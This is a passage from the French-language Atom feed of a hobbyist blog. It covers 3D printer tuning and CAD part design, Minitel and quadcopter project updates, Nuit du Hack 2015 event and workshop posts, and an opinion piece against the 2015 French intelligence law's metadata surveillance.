&lt;p&gt;La pression qu'exerce le galet (un roulement en réalité) de l'extrudeur Wade est primordiale pour une bonne impression, mais aussi pour un bon réglage de la hauteur des couches d'impression et la précision en général. Si celle-ci est trop faible, la vis d'entraînement du filament n'accroche pas suffisamment, et l'alimentation en filament est quelque peu aléatoire. Résultat: l'impression est sale par endroit, mais dans l'ensemble ça peut aller. De même, les phases de remplissage de zones avec du filament peuvent varier du tout au tout, selon l'allure du filament au moment de l'entraînement.&lt;/p&gt;
&lt;img alt="" src="/images/extrudeur.jpg" /&gt;
&lt;p&gt;Il ne faut pas hésiter à rajouter des rondelles M3 en plus des ressorts: plus ça accroche mieux c'est. Ca signifie aussi en commander beaucoup plus que prévu !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;De l'importance de ventiler&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Jusque là, tout fonctionnait très bien. Jusqu'à ce qu'une impression bloque en plein milieu, et que la commande d'un moteur pas à pas ne fonctionne plus. Il faut savoir que les moteurs pas à pas (ou &lt;em&gt;steppers&lt;/em&gt;) employés sur les imprimantes 3D sont pilotés par des &lt;em&gt;drivers&lt;/em&gt;, des petits modules gérant la puissance que ceux-ci reçoivent (entre autre). J'ai de suite pensé à un de ces drivers, en me disant qu'il avait cramé. Ce problème est bloquant: sans driver pas de moteur pilotable et donc pas d'imprimante.&lt;/p&gt;
&lt;p&gt;Après investigation, le driver n'a pas cramé comme je le supposais mais il a bien chauffé, ce qui n'était pas vraiment au programme. Il m'a donc semblé très utile de ventiler l'électronique, à l'aide d'un ventilateur de CPU récupéré sur une vieille carte mère par exemple. Mais comment le fixer sur le cadre aluminium ? Avec un support pardi. Je fouille sur Thingiverse, mais aucun support n'est prévu pour ce ventilateur de 50mm que j'ai récupéré. C'est le moment de concevoir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Conception Assistée par Ordinateur&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Avoir une imprimante 3D c'est bien, s'en servir pour imprimer autre chose que des gadgets (clefs TSA, porte-clefs, etc ...) c'est encore mieux. J'ai donc replongé dans mes cours de terminale, à l'époque où je faisais du Solidworks.&lt;/p&gt;
&lt;p&gt;Et j'ai bien sûr cherché un équivalent libre. Deux logiciels m'ont paru tout à fait valables: FreeCAD et OpenScad. Le premier est un logiciel de CAO basique si je puis dire, on dessine des esquisses et on applique des transformations usuelles (extrusion, chanfrein, perçage, soustraction de matière, et j'en passe). La manière de concevoir la pièce se rapproche de la manière dont on l'usinerai réellement à l'aide d'outils à commandes numériques (ou même manuelles). Le second se rapproche beaucoup plus de la programmation que de la CAO habituelle: on code la réalisation de la pièce à l'aide de formes de base (cylindre, cube, polygone) et de transformation (différence, union, rotation, translation).&lt;/p&gt;
&lt;p&gt;Vu qu'il me fallait un support de ventilateur pour refroidir l'électronique, j'ai donc décidé de créer le mien avec FreeCAD. La tâche n'a pas été trop complexe, pas mal de tutoriaux trouvés sur Youtube m'ont permis de prendre en main le logiciel. Au final, j'ai conçu un support pas mal du tout, après de nombreux ratés. Le plus difficile dans la conception pour imprimante 3D, c'est de bien prendre en compte les caractéristiques d'impression, la longueur de filament requis et la précision des usinages en fonction de leur placement. En effet, un trou usiné dans un flanc de 2mm d'épaisseur imprimé verticalement sera moins précis que le même trou usiné dans un flanc à plat sur l'imprimante. Il faut donc prévoir un peu de marge dans les cotations histoire d'éviter de retravailler la pièce.&lt;/p&gt;
&lt;img alt="" src="/images/freecad-support.png" /&gt;
&lt;p&gt;J'en ai profité pour me faire un compte sur Tingiverse, et y déposer &lt;a class="reference external" href="http://www.thingiverse.com/thing:1123621"&gt;mon super support&lt;/a&gt;.&lt;/p&gt;
&lt;img alt="" src="/images/fan_support_homemade.jpg" /&gt;
&lt;p&gt;Pour la prise en main d'OpenScad, j'ai réalisé une pièce pour &amp;quot;hacker&amp;quot; mon lave-vaisselle. En effet, le bouton d'alimentation de ce dernier ne reste plus enfoncé ce qui est plutôt gênant. Pour corriger ce problème, j'ai essayé de le caler avec du carton mais ça ne tient pas sur la durée. De même, un cure-dent fonctionne bien mais reste dangereux (surtout que j'ai deux mini-moi à la maison, dont un qui a une propension à faire plus de bêtises que l'autre). Il me fallait un bidule pour caler le bouton sans que cela soit dangereux, et tant qu'à faire pratique à utiliser. Une mission pour mon imprimante 3D !&lt;/p&gt;
&lt;p&gt;Avant d'entrer dans les détails, sachez qu'OpenScad est tout juste fabuleux pour trois raisons:
*  il faut programmer sa pièce
*  les pièces sont réutilisables
*  les pièces peuvent être paramétrables&lt;/p&gt;
&lt;p&gt;Le design de la pièce est rudimentaire: un genre de bague pour y passer un doigt afin de l'attraper aisément, et une cale la plus fine possible pour bloquer le bouton. La première partie de cette pièce n'a pas été trop compliquée, la seconde par contre a demandé plusieurs réglages. Pourquoi ? Eh bien l'imprimante ne peut pas imprimer un &amp;quot;mur&amp;quot; (c'est à dire un pan vertical très fin) en dessous d'une certaine épaisseur. Le plus fin que j'ai pu obtenir est 0.4mm, mais le pan est très mal attaché au reste de la pièce, ce qui va tout simplement augmenter les risques de casse.&lt;/p&gt;
&lt;p&gt;J'ai donc opté pour une épaisseur plus large (0.8mm) afin d'avoir une impression robuste et de pouvoir poncer la pièce par la suite. Ainsi, je peux ajuster l'angle et réduire l'épaisseur en bout, de manière à avoir une cale ressemblant à un cale-porte, mais pour bouton de lave-vaisselle. Le design de la pièce finale ressemble à ça dans OpenScad:&lt;/p&gt;
&lt;img alt="" src="/images/openscad-cale.png" /&gt;
&lt;p&gt;Et une fois imprimée et poncée, la pièce en place sur mon lave-vaisselle:&lt;/p&gt;
&lt;img alt="" src="/images/cale-print.jpg" /&gt;
&lt;img alt="" src="/images/cale-en-place.jpg" /&gt;
&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;L'impression 3D gadget c'est sympa, mais à part faire des minions pour ses enfants ça n'apporte pas grand chose. Concevoir des pièces avec FreeCAD, OpenScad ou encore Sketchup (pas encore utilisé), et leur donner vie grâce à l'imprimante 3D, c'est juste &lt;em&gt;priceless&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Promis le prochain article sera sur l'avancée des projets électroniques, et peut-être sur le Raspberry Pi Zéro si j'arrive à m'en procurer un.&lt;/p&gt;
</content><category term="Projets"/></entry><entry><title>Minitel, imprimante 3D: les projets avancent</title><link href="https://virtualabs.fr/projets/Minitel-imprimante-3D-les-projets" rel="alternate"/><published>2015-11-05T09:00:00+01:00</published><updated>2015-11-05T09:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2015-11-05:/projets/Minitel-imprimante-3D-les-projets</id><summary type="html">&lt;p&gt;Je me rends compte que cela fait plusieurs mois que je n'ai rien publié ici, et je m'en désole. Cependant les choses avancent bien de mon côté, quoique pas aussi vite que je le souhaiterais. Et j'ai encore beaucoup de retard sur les contreparties du projet &lt;a class="reference external" href="http://virtualabs.fr/openit/"&gt;Open It&lt;/a&gt;, mais comme …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Je me rends compte que cela fait plusieurs mois que je n'ai rien publié ici, et je m'en désole. Cependant les choses avancent bien de mon côté, quoique pas aussi vite que je le souhaiterais. Et j'ai encore beaucoup de retard sur les contreparties du projet &lt;a class="reference external" href="http://virtualabs.fr/openit/"&gt;Open It&lt;/a&gt;, mais comme le titre l'indique j'avance doucement mais sûrement.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Une fournée de Minitels&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'ai continué la collecte de Minitels afin de pouvoir en fournir trois aux gentils soutiens, ainsi que la carte v3 d'adaptation. J'ai reçu les PCBs récemment, mais vu que je vadrouille énormément ces derniers temps (j'ai fait le tour de l'Europe et c'est pas fini), je n'ai pas pris le temps d'en monter une et de tout souder. D'autant plus que j'ai pu repérer quelques défauts que je vais devoir corriger dans une v4 (avec une autre commande de PCB du coup), mais ça ne devrait pas a priori impacter le fonctionnement de celle-ci.&lt;/p&gt;
&lt;p&gt;Depuis presqu'un an mon entourage sait que je recherche des Minitels, et ils m'en ont récupéré quelques-uns: récemment une fournée de 4 minitels m'attendait ! Le problème est qu'il s'agit de modèles Matra, un brin différents de celui pour lequel ma carte d'adaptation a été conçue, et je vais peut-être devoir adapter un peu celle-ci s'il n'est pas possible de régler cela via la connectique.&lt;/p&gt;
&lt;img alt="L'imprimante au chaud sur le plan de travail." src="/images/prusai3-1.jpg" /&gt;
&lt;p&gt;&lt;strong&gt;A fond sur l'impression 3D&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cela fait presque un an que je travaillais sur mon imprimante 3D (Prusa i3), et j'ai récemment pu la terminer (via une savante combinaison de commandes et de temps disponible) et la tester. Elle fonctionne bien, mais il y a quelques réglages à faire afin de sortir des pièces de bonne qualité.&lt;/p&gt;
&lt;p&gt;En parlant de qualité, je me suis rendu compte que certaines pièces se fendillaient, et qu'elles pourraient casser dans pas très longtemps. J'en ai donc profiter pour les réimprimer tant que l'imprimante fonctionne toujours, histoire d'avoir du surplus en cas de casse. Je pense aussi réimprimer d'autres pièces moins critiques une fois les réglages fins terminés. Ce n'est pas du luxe: le PLA est apparemment cassant, et si des pièces ont été insérées de force (c'était le cas pour certaines pièces fêlées), alors les risques de casse augmentent. Et je n'ai pas envie de me retrouver bloqué et dépenser des sous pour les faire imprimer et livrer alors que j'avais une imprimante fonctionnelle sous le coude.&lt;/p&gt;
&lt;img alt="Fêlures observées sur le support de guide de l'axe Z" src="/images/et-crac.jpg" /&gt;
&lt;p&gt;De manière générale, l'imprimante fonctionne bien et je pense qu'une fois les réglages terminés et les pièces fêlées remplacées, elle devrait être aux petits oignons et parée à imprimer de nouveaux kits, si certains sont intéressés. Je me suis aussi initié à la CAD sous Linux (OpenSCAD et FreeCAD) afin de pouvoir commencer à concevoir des pièces liées à des projets connexes. J'ai une petite préférence pour OpenSCAD, car l'aspect programmatique (et donc paramétrique) des pièces qu'il permet de concevoir est très intéressant. Quant à la conception rapides de pièces, FreeCAD est d'un bon secours. Ça me rappelle mes années de SolidWork.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Quadcopter&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Avant de me lancer dans la réalisation d'un quadcopter maison, j'étais persuadé qu'il fallait apprendre à bien les piloter afin de pouvoir manipuler un engin expérimental. Coup de chance, en participant à un CTF il y a quelque temps, j'en ai gagné un et cela fait bientôt un an que je m'entraîne avec. Pour le coup, j'ai bien pris en main la mécanique de vol de ces engins, et entre temps décortiqué leur conception.&lt;/p&gt;
&lt;p&gt;Ainsi, je compte bien me servir de l'imprimante 3D pour concevoir le cadre d'un petit quadcopter, et développer la carte de contrôle en mode opensource et basée sur des éléments simples. Dans un premier temps, je pense que je me pencherai sur une carte de contrôle existante, histoire de bosser sur des adaptations au niveau firmware, puis je passerai à la phase de conception et de test. L'idée est d'utiliser un émetteur/récepteur 2.4Ghz pas cher pour assurer la transmission radio, et du matériel standard pour construire le quadcopter. Au final, les plans divers seront publiés en espérant que cela soit fun et instructif.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Transition 2015/2016&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Une grande partie de l'année 2015 est passée à une vitesse folle, et du coup je commence déjà à planifier (et limiter) les projets pour 2016:
*  minitel v3 avec carte aux petits oignons avant Noël (pour faire des cadeaux aux soutiens qui les attendent depuis 2 ans)
*  finalisation de l'imprimante 3D (réglages et modifications techniques)
*  conception d'une borne d'arcade basée sur du RaspPi2 ou RIoTboard (selon les tests)
*  quadcopter de la mort (ou pas)&lt;/p&gt;
&lt;p&gt;Je compte aussi comme depuis quelques années proposer une présentation pour la Nuit du Hack, et pourquoi pas participer une année de plus à Ndh Kids. Ou alors faire un atelier, mais pas les deux car cela demande beaucoup d'investissement.&lt;/p&gt;
</content><category term="Projets"/><category term="minitel"/></entry><entry><title>De retour de la Ndh 2015</title><link href="https://virtualabs.fr/geekeries/De-retour-de-la-Ndh-2015" rel="alternate"/><published>2015-06-25T18:15:15+02:00</published><updated>2015-06-25T18:15:15+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2015-06-25:/geekeries/De-retour-de-la-Ndh-2015</id><summary type="html">&lt;p&gt;Comme chaque année depuis maintenant 12 ans, je participe à la Nuit du Hack (et presque 5 ou 6 ans que j'y présente des trucs). Cette année, c'était la 13ème édition et à mon sens une des meilleures que j'ai vécu malgré les loupés habituels et autres tracasseries de dernière …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Comme chaque année depuis maintenant 12 ans, je participe à la Nuit du Hack (et presque 5 ou 6 ans que j'y présente des trucs). Cette année, c'était la 13ème édition et à mon sens une des meilleures que j'ai vécu malgré les loupés habituels et autres tracasseries de dernière minute.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Un sacré cirque&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cette année, changement de décor: ce n'est plus chez Disney, mais à l'Académie Fratellini, au nord de Paris (Saint-Denis, 93). Et ça en jette. Le chapiteau principal est juste géant, la scène décorée à l'effigie de feu le magazine &lt;em&gt;Hackerz Voice&lt;/em&gt; bien méchante, et le temps parfait. De très bonne conditions pour cet évènement. En plus, on disposait cette année d'une zone réservée aux bidouilles matérielles, que la DTRE, l'Electrolab et moi-même avons squatté. Le pied.&lt;/p&gt;
&lt;p&gt;Une halle complète était quant à elle réservée au challenge public (le wargame), toute câblée par les gentils admins et ingés d'OVH, pour le coup partenaire de l'évènement. Et à côté, un bar. Normal, on retrouve bien l'esprit des premières NdH ;). On se sent à la maison, ici.&lt;/p&gt;
&lt;p&gt;Enfin, et c'est inhabituel par rapport aux autres années, beaucoup d'espace aéré en dehors des batiments pour manger, se poser autour d'une table, et profiter du beau temps pour engager des rapports sociaux autres que sur IRC. C'est toujours un plaisir que de voir de nouvelles têtes, et de pouvoir discuter/troller avec d'autres personnes. Et pourquoi pas avec John Draper, a.k.a. CaptainCrunch, un des premiers phreakers US de passage à Paris qui nous a fait l'honneur de sa présence ! Je n'ai pas pu résister à une petite photo avec le personnage (merci &amp;#64;Zackhimself !).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NDH Kids, seconde édition&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A nouveau, je participais à l'animation de NDH Kids, la Nuit du Hack pour les enfants (et babysitting pour les parents), avec un atelier encore plus débile que l'année précédente. L'objectif ? Concevoir une fusée fonctionnant sans poudre ni flamme. Oui, une fusée chimique, ce qui a permis à une quarantaine d'enfants de s'éclater avec du vinaigre et de la levure, à battre des records de hauteur et à avoir plein d'idées pour pourrir la vie de leurs parents. Vous m'excuserez, je faisais pareil à leur âge.&lt;/p&gt;
&lt;p&gt;On en a d'ailleurs profité pour hacker la recette d'origine, et tandis que la première session faisait office de beta-testing, les deux dernières ont été plutôt réussies avec seulement quelques lancement ratés (et des t-shirts arrosés). On a terminé en beauté, car il nous restait une bouteille de vinaigre à moitié remplie et une dizaine d'enfants sur-excités qui nous ont proposé, à Samuel et moi-même, de la transformer en fusée. Version adulte. Ce que l'on a fait. Elle a décollé du tonnerre, et est allée assez haut de ce que je me rappelle. Pour le coup, les gamins étaient fans et ont même filmé le lancer. Quand je vous dis que les parents ont du souci à se faire ...&lt;/p&gt;
&lt;p&gt;Seconde édition donc de Ndh Kids, et je compte bien rempiler l'année prochaine !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Atelier électronique et micro-controleur&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour cloturer mon emploi du temps bien rempli, j'avais opté pour l'option «atelier qui dure toute la nuit», histoire de rencontrer des gens et partager autour de la fabrication d'un pendentif lumineux bien geek, à base d'une matrice de 8x8 LEDs. Pour ceux qui n'avaient jamais soudé, ce fut un peu rude mais tout le monde est reparti avec un pendentif fonctionnel, et le sourire. Certains ont même commencé à modifier le programme gérant l'animation de celui-ci !&lt;/p&gt;
&lt;p&gt;Pas mal de personnes étaient emballées par le projet, mais ont été déçues sur place car elles ne se sont pas inscrites auparavant et du coup je n'avais pas de matériel en sus pour pouvoir assurer la fabrication de pendentifs supplémentaires. Un point à améliorer côté communication pour l'année prochaine.&lt;/p&gt;
&lt;p&gt;J'ai pu aussi croiser des personnes ayant soutenu OpenIt, et qui désiraient savoir où j'en étais dans le projet. Cela fera l'objet d'un futur billet.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le &amp;quot;Defuse Contest&amp;quot;: un fail&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Annoncé comme le nouveau challenge de la Nuit du Hack, le Defuse Contest (challenge visant à désamorcer un système à retardement) n'a tout simplement pas eu lieu pour diverses raisons dont les suivantes:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;un imprévu dans la préparation des badges (dont j'avais la charge) m'a juste fait perdre presque 6 heures sur la préparation du vendredi, donc pas eu le temps de régler les derniers détails&lt;/li&gt;
&lt;li&gt;les composants constituants le circuit du challenge ont été reçu deux jours avant la Nuit du Hack, chaud pour tout souder hors du temps de travail&lt;/li&gt;
&lt;li&gt;je n'ai pas trouvé le temps durant la nuit de terminer la préparation du challenge (soudure/firmware)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je suis désolé pour ceux qui venaient juste pour ce challenge, mais rassurez-vous: j'ai tout ce qu'il faut pour l'année prochaine et je galérerai moins !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cette édition toute neuve et originale a été un franc succès, autant pour la partie Ndh Kids que la Nuit du Hack dans son ensemble. C'est toujours un bonheur d'y croiser les gens, de prendre une bière avec eux, de discuter, troller et d'y présenter des trucs cool.&lt;/p&gt;
&lt;p&gt;Et comme d'habitude, il m'a fallu deux jours pour m'en remettre. Oh, vieillesse ennemie.&lt;/p&gt;
</content><category term="Geekeries"/></entry><entry><title>NDH 2015 - Atelier électronique &amp; Arduino</title><link href="https://virtualabs.fr/geekeries/NDH-2015-Atelier-electronique" rel="alternate"/><published>2015-05-08T09:30:50+02:00</published><updated>2015-05-08T09:30:50+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2015-05-08:/geekeries/NDH-2015-Atelier-electronique</id><summary type="html">&lt;p&gt;La première édition de ce workshop ayant été un succès, on remet ça cette année ! Qu'est-ce qu'un workshop ? En réalité, rien de bien compliqué: un atelier ouvert à l'échange, durant lequel on réalise des trucs sympas, durant lequel on découvre et apprend, autant vous que nous. C'est un moment d'échange …&lt;/p&gt;</summary><content type="html">&lt;p&gt;La première édition de ce workshop ayant été un succès, on remet ça cette année ! Qu'est-ce qu'un workshop ? En réalité, rien de bien compliqué: un atelier ouvert à l'échange, durant lequel on réalise des trucs sympas, durant lequel on découvre et apprend, autant vous que nous. C'est un moment d'échange convivial, autour d'un thème qui réunit, en l'occurence le Hardware Hacking.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Plus simple, plus abordable, mais tout aussi sexy&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cette année, on fait dans le &amp;quot;wearable&amp;quot;, en réalisant un pendentif tout ce qu'il y a de plus geek, basé sur un Arduino miniature alimenté par batterie et une matrice de 8 x 8 LEDs. De quoi afficher ses goûts, son nom, et de faire des animations sympas. Le workshop couvre:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;La théorie derrière ce pendentif, afin d'expliquer comment cela fonctionne,&lt;/li&gt;
&lt;li&gt;La réalisation du pendentif, qui nécessite peu de soudure,&lt;/li&gt;
&lt;li&gt;La programmation de l'Arduino (un ordinateur est nécessaire),&lt;/li&gt;
&lt;li&gt;La création et l'intégration de motifs et d'animations, dont quelques-uns spécifiques à la Nuit du Hack 2015&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Les participants pourront exhiber fièrement leur pendentif ainsi réalisé et réutiliser certains des composants pour d'autres projets si cela leur chante ! Il y a aussi possibilité de combiner le pendentif au badge électronique de l'édition 2015 de l'évènement =).&lt;/p&gt;
&lt;p&gt;Le pendentif ressemble, une fois assemblé et programmé, à ceci:&lt;/p&gt;
&lt;img alt="" src="/images/led_matrix_pendant-anim.gif" /&gt;
&lt;p&gt;Ce pendentif électronique a été conçu par Limor Fried et AdaFruit, qui le recommande pour une initiation à la soudure et au développement sur micro-contrôleurs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comment participer ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Eh bien, on ne change pas un système qui marche ! J'ai mis en place &lt;a class="reference external" href="http://fr.ulule.com/hardware-hacking2015/"&gt;une campagne de financement participative sur Ulule&lt;/a&gt; dont la contrepartie principale offre droit à une place à cet atelier, dans la limite des 30 places disponibles.&lt;/p&gt;
&lt;p&gt;Chaque participant se verra remettre un kit contenant:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Un Arduino &amp;quot;Genma&amp;quot; ou &amp;quot;Trinket&amp;quot; (selon approvisionnement),&lt;/li&gt;
&lt;li&gt;Une batterie LiPo 3.7V,&lt;/li&gt;
&lt;li&gt;Un chargeur de batterie LiPo USB,&lt;/li&gt;
&lt;li&gt;Une matrice de 8 x 8 LEDs,&lt;/li&gt;
&lt;li&gt;Des fils de connexion,&lt;/li&gt;
&lt;li&gt;De la gaine thermorétractable,&lt;/li&gt;
&lt;li&gt;Un tour de cou&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le montant pour la participation est fixé à 40€, ce qui permet de couvrir les besoins matériels pour l'atelier, et de repartir avec un pendentif électronique trendy &amp;amp; geek au possible !&lt;/p&gt;
&lt;p&gt;La place pour l'évènement de la Nuit du Hack, durant lequel se déroule cet atelier, n'est pas comprise dans la participation demandée ! Pour en obtenir une, il faut vous rendre sur &lt;a class="reference external" href="https://nuitduhack.com/fr/store/"&gt;le site de la Nuit du Hack&lt;/a&gt;.&lt;/p&gt;
</content><category term="Geekeries"/><category term="nuit du hack"/><category term="évènement"/></entry><entry><title>Et vraoum, plus de vie privée !</title><link href="https://virtualabs.fr/humeur/Et-vraoum-plus-de-vie-privee" rel="alternate"/><published>2015-05-06T09:02:51+02:00</published><updated>2015-05-06T09:02:51+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2015-05-06:/humeur/Et-vraoum-plus-de-vie-privee</id><summary type="html">&lt;p&gt;&lt;strong&gt;Le projet de loi relatif au renseignement a été voté le 5 mai à l'Assemblée Nationale à 438 votes contre 86 (dont 42 abstentions), et vise à encadrer les pratiques des services de renseignement dont celles liées à la lutte anti-terroriste.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ce projet de loi est soutenu par un bon …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;Le projet de loi relatif au renseignement a été voté le 5 mai à l'Assemblée Nationale à 438 votes contre 86 (dont 42 abstentions), et vise à encadrer les pratiques des services de renseignement dont celles liées à la lutte anti-terroriste.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ce projet de loi est soutenu par un bon nombre de députés, et prévoit notamment les points suivant:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;la légalisation de pratiques des services de renseignement qui n'étaient jusque là pas autorisées,&lt;/li&gt;
&lt;li&gt;la mise en place de «boîtes noires» au sein des fournisseurs d'accès à Internet et de services (hébergeur de données) afin de détecter les comportements suspects et faire de la surveillance ciblée,&lt;/li&gt;
&lt;li&gt;l'absence de toute autorité judiciaire dans le processus de surveillance et la mise en place d'une commission consultative indépendante,&lt;/li&gt;
&lt;li&gt;la mise en oeuvre de la surveillance dans un cadre large, incluant entre autres la lutte anti-terroriste mais aussi la défense des intérêts économiques de la France ou encore la lutte contre les violences collectives.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Et en quoi cela pose problème ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;En réalité, ce n'est pas le projet de loi entier qui a provoqué une levée de boucliers sur Internet, mais bel et bien des points de détails &lt;strong&gt;très&lt;/strong&gt; importants. Le premier d'entre eux et certainement le plus discuté par les personnes ayant des compétences techniques est celui concernant les fameuses «boîtes noires» que le gouvernement prévoit de mettre en place chez des fournisseurs d'accès à Internet et les hébergeurs de données.&lt;/p&gt;
&lt;p&gt;En effet, il a été évoqué l'utilisation d'algorithmes spécifiques permettant d'identifier des comportements caractéristiques des terroristes, permettant de cibler la surveillance sur un groupe restreint d'individus ainsi identifiés. Sauf que ces algorithmes vont devoir avoir un œil partout et sur toutes les données afin de pouvoir faire le tri. Ce qui implique la consultation de chaque information envoyée ou reçue par un internaute, et potentiellement une atteinte à la vie privée. &lt;em&gt;Que nenni&lt;/em&gt;, rétorquent les promoteurs de ce projet de loi, «seules les métadonnées seront manipulées». Les métadonnées, ce beau terme décrivant des données associées à un contenu, mais qui ne sont pas du contenu. Ce ne sont pas pour autant des données n'ayant aucun rapport avec la vie privée: si l'on sait avec qui vous discutez, quand et comment, il est facile d'en déduire des informations utiles. Un exemple.&lt;/p&gt;
&lt;p&gt;J'ai été amené il y a quelque temps de cela à effectuer une investigation numérique pour une société, car un des associés était suspecté de monter une société concurrente avec une ancienne employée. Lors de cette investigation, seuls des journaux d'évènements (remplis de métadonnées, et que de métadonnées) m'ont été fournis, en particulier ceux du serveur de messagerie. A l'aide de ces informations, j'ai découvert assez rapidement que l'associé en question possédait plusieurs adresses de courriel, et qu'il s'y connectait de différents endroits (identifiés en fonction de l'adresse IP et de la géolocalisation de ces adresses). Et que l'ancienne employée s'était  connectée elle aussi d'un endroit similaire (adresse IP identique), mais que cette adresse IP n'était pas celle de l'entreprise, et cela hors heures ouvrées. Ce ne sont que des métadonnées, mais les interprétations/suppositions sont possibles à partir de ces données.&lt;/p&gt;
&lt;p&gt;Un peu comme à Noël, lorsque tata Chantal vous offre un cadeau: vous le palpez, vous le secouez, vous le pesez, et vous essayez d'en déduire le contenu sans l'ouvrir. Eh bien avec les métadonnées, c'est exactement la même chose.&lt;/p&gt;
&lt;p&gt;Une adresse IP, une adresse de courriel, des coordonnées géographiques, des dates d'envoi et de réception sont autant de données qui une fois corrélées, en révèlent tout autant que le contenu. Ce n'est pas pour rien que la CNIL (Commission Nationale Informatique et Libertés) considère l'adresse IP comme une donnée personnelle (rappelez-vous les débats HADOPI). D'ailleurs, ces mêmes métadonnées ont permis de déterminer que &lt;a class="reference external" href="http://www.numerama.com/magazine/32938-loi-renseignement-urvoas-a-fourni-une-reponse-type-aux-deputes-ps.html"&gt;M. Urvoas a rédigé une réponse type transmise aux députés afin que ces derniers puissent répondre «comme il faut» aux citoyens inquiets (Numerama)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Le problème que pose ce mécanisme, c'est qu'il est obligatoirement intrusif et fournit des outils au gouvernement permettant s'il le souhaite d'être détournés de leur usage premier. Sans contrôle de l'autorité judiciaire. Malgré toute la bonne volonté du gouvernement, qui précise que ces outils ne seront pas employés à mauvais escient, on ne peut empêcher &lt;em&gt;a priori&lt;/em&gt; un détournement de l'usage de ces outils dans le futur.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Des pratiques illégales, euuuh ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Second point non-négligeable: le gouvernement reconnaît que ses services de renseignements emploient des pratique de recueil d'information non-encadrées par la loi. La loi relative au renseignement vise justement à combler ce manque, afin de légaliser entre autres:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;la pose de mouchards informatiques, GPS, et sonores,&lt;/li&gt;
&lt;li&gt;l'emploi d'«IMSI Catcher», des systèmes d'interception automatisés de communications via réseaux mobiles et de localisation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le patch législatif proposé n'est pas suffisant: il n'inclut aucun contrôle par l'autorité judiciaire, et légalise ces pratiques tout en permettant de possibles dérives. Toutefois, il est nécessaire de légiférer sur ces techniques récentes, afin d'encadrer ces pratiques, mais sans oublier d'y inclure un contrôle &lt;em&gt;a priori&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Boarf, de toute manière je n'ai rien à cacher&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Si vous n'avez rien à cacher, cela ne vous dérangera pas alors que l'on transforme votre maison en loft style télé-réalité, truffé de caméras et de micros. Après tout, vous n'êtes ni terroriste ni conspirateur, et vous n'avez aucun secret à cacher. Quoique.&lt;/p&gt;
&lt;p&gt;A y réfléchir, peut-être que la caméra dans la chambre à coucher, ainsi que celle dans les toilettes et la salle de bains sont un brin intrusives ? Personne n'a besoin de savoir que vous galérez avec les dernières feuilles de votre rouleau de papier toilette, ou que vous prenez en photo vos plus beaux exploits délicatement déposés dans la cuvette. Personne n'a besoin de savoir que vous avez des relations sexuelles une à deux fois par semaine, ou que vous pratiquez l'onanisme tandis que madame a le dos tourné. Cela relève de l'intime, bien que les frontières de l'intime ont été repoussées par les réseaux sociaux.&lt;/p&gt;
&lt;img alt="" src="/images/45310-capture1.png" /&gt;
&lt;p&gt;On a tous quelque chose à cacher, pas que l'on soit terroriste mais plutôt que l'on a besoin d'avoir un jardin secret, son petit coin de plaisir personnel rien qu'à soi. Et on ne tient pas forcément à ce que tout le monde le découvre.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Quid des «boîtes noires» que le gouvernement prévoit d'installer ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je pense qu'un dessin vaut mieux qu'un long discours.&lt;/p&gt;
&lt;img alt="" src="/images/ou-est-charlie.jpg" /&gt;
&lt;p&gt;&lt;strong&gt;Et maintenant ? Que peut-on faire d'autre ?&lt;/strong&gt;&lt;/p&gt;
